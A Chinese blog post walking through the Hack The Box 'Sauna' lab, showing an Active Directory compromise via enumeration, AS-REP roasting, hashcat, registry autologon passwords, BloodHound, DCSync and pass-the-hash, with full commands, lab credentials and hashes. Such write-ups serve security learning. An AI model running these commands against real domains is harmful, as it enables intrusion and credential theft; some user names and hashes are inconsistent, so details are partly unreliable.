freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AD-Sauna详解
2022-10-11 11:57:40
所属地 河南省

0x00前言

本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第二篇,靶机名字为Sauna

0x01信息搜集

首先我们使用nmap来进行端口与服务的发现

Nmap scan report for 10.10.10.175
Host is up (0.14s latency).
Not shown: 65515 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2022-10-09 20:28:40Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49668/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/9%Time=6342CC8D%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m58s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2022-10-09T20:31:10
|_  start_date: N/A

下一步的信息搜集思路大概有如下几点:

53尝试DNS区域传输
80端口风险传输方式trace
88   kerber枚举
135  rpc的枚举
389  ldap枚举

ldap枚举

root@kali2020:~/HTB/sauna# nmap --script "ldap*" -p 389 10.10.10.175

通过ldap的枚举,我们发现了一个人名,该人名可能是用户名

图片.png

通过访问80端口的http页面,找到了如下姓名

Fergus Smith
Shaun Coins
Hugo Bear
Steven Kerb
Bowie Taylor
Sophie Driver

nmap脚本进行了一些基本枚举并返回了域EGOTISTICAL-BANK.LOCAL我尝试使用更详细深入的ldap枚举

ldapsearch -x -h 10.10.10.175 -s base namingcontexts
-x- 简单的身份验证
-h 10.10.10.175- 主机查询
-s base- 将范围设置为基础
naming contexts- 返回命名上下文

图片.png

通过ldap枚举,暂时也没发现什么特别有用的信息

DNS区域传输

尝试进行区域传输

dig axfr @10.10.10.175 egotistical-bank.local
dig axfr @10.10.10.175 sauna.htb

图片.png

SMB枚举

发现不支持区域传输,接下来尝试SMB的Anonymous用户登录,发现并无什么可供查看的信息

图片.png

kerbrute枚举

尝试通过kerbrute枚举用户名,现在,为了进一步枚举,我们需要知道该用户的确切用户名。结合前面信息搜集中得到的名字hugo smith并基于我知道的常用名称的用户名模式,写了一个字典user。

hugo.smith
hugosmith
hsmith
smith.hugo
h.smith
kerbrute_linux_amd64 userenum --dc 10.10.10.175 -d egotistical-bank.local user

通过kerbrute用户名枚举得到了用户名hsmith,那我们把之前发现的一些名字都改成类似的格式写入到users.txt进行尝试

fsmith
scoins
hbear
skerb
btaylor
sdriver
hsmith

域用户枚举

GetNPUsers.py -dc-ip 10.10.10.175 egotistical-bank.local/ -usersfile /root/username.txt

图片.png

尽管我们做了尝试,但是还是只发现了这一个用户

图片.png

0x02AS-REP Roasting

通过上图枚举的结果,我们发现hsmith无预认证,我们直接得到了其TGT票据,我们可以尝试AS-REP Roasting,破解该用户的hash

hashcat -m 18200 hashfsmith /root/rockyou.txt --force

图片.png

此时我们拿到了fsmith用户的明文密码,接下来我们可以尝试evil-winrm远程登录

evil-winrm -u fsmith -p Thestrokes23 -i 10.10.10.175

图片.png

图片.png

0x03读注册表获取用户明文密码

在users目录下发现了另外一个用户,svc_loanmgr 我们尝试读注册表

*Evil-WinRM* PS C:\Users\FSmith\Documents> reg.exe query "HKLM\software\microsoft\windows nt\currentversion\winlogon"

HKEY_LOCAL_MACHINE\software\microsoft\windows nt\currentversion\winlogon
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    DefaultDomainName    REG_SZ    EGOTISTICALBANK
    DefaultUserName    REG_SZ    EGOTISTICALBANK\svc_loanmanager
    ...

    ...
    DefaultPassword    REG_SZ    Moneymakestheworldgoround!
*Evil-WinRM* PS C:\Users\FSmith\Documents>

通过读取注册表,我们发现了svc_loanmanager用户的明文密码

0x04Bloodhound 信息搜集

尝试使用winrm登录

evil-winrm -u svc_loanmanager -p 'Moneymakestheworldgoround!' -i 10.10.10.175

接下来使用bloodhound进行信息搜集

*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> upload SharpHound.exe
*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> ./sharphound.exe
*Evil-WinRM* PS C:\Users\svc_loanmanager\Documents> download 20221010054109_BloodHound.zip

图片.png

通过bloodhound给到的分析结果,我们发现svc_loanmanager用户可以通过DCsync攻击域控

0x05DCSync提权

我首选的 DCSync 攻击方式是使用secretsdump.py,它允许我从我的 Kali 机器运行 DCSync 攻击,前提是我可以在 TCP 445 和 135 以及高 RPC 端口上与 DC 通信。这种方式的优点是避免了与杀软的对抗,尽管它会产生一些网络流量,可能被其他审计设备捕获。

secretsdump.py 'svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

图片.png

我可以使用 WMI 的管理员哈希来以管理员身份获取 shell:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e EGOTISTICAL-BANK.LOCAL/administrator@10.10.10.175

图片.png

或我还可以用 PSExec获取 shell 作为 SYSTEM:

psexec.py -hashes 'aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e' -dc-ip 10.10.10.175 administrator@10.10.10.175

图片.png

或者我还可以使用 EvilWinRM登录:

evil-winrm -i 10.10.10.175 -u administrator -H e19ccf75ee54e06b06a5907af13cef42

0x06总结

本篇文章到这里就结束了,这里做个简单的总结,首先通过对各个开放服务的枚举发现了hsmith用户,然后使用了AS-REP Roasting技术,由于该用户的密码是弱密码,我们通过使用hashcat破解了其hash拿到明文密码,然后又通过WinRM成功登陆到了用户hsmith。接着通过读取注册表,拿到了svc_loanmanager用户的明文密码,又通过WinRM成功登陆到了用户svc_loanmanager上面,接着使用了 BloodHound分析收集到的域内信息。经过分析后发现当前用户可以使用DCsync攻击域控,通过该攻击成功获取到了管理员的hash,最终通过wmiexec哈希传递拿到了管理员权限。

# 域渗透 # dcsync # HackTheBox # Hacker101
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录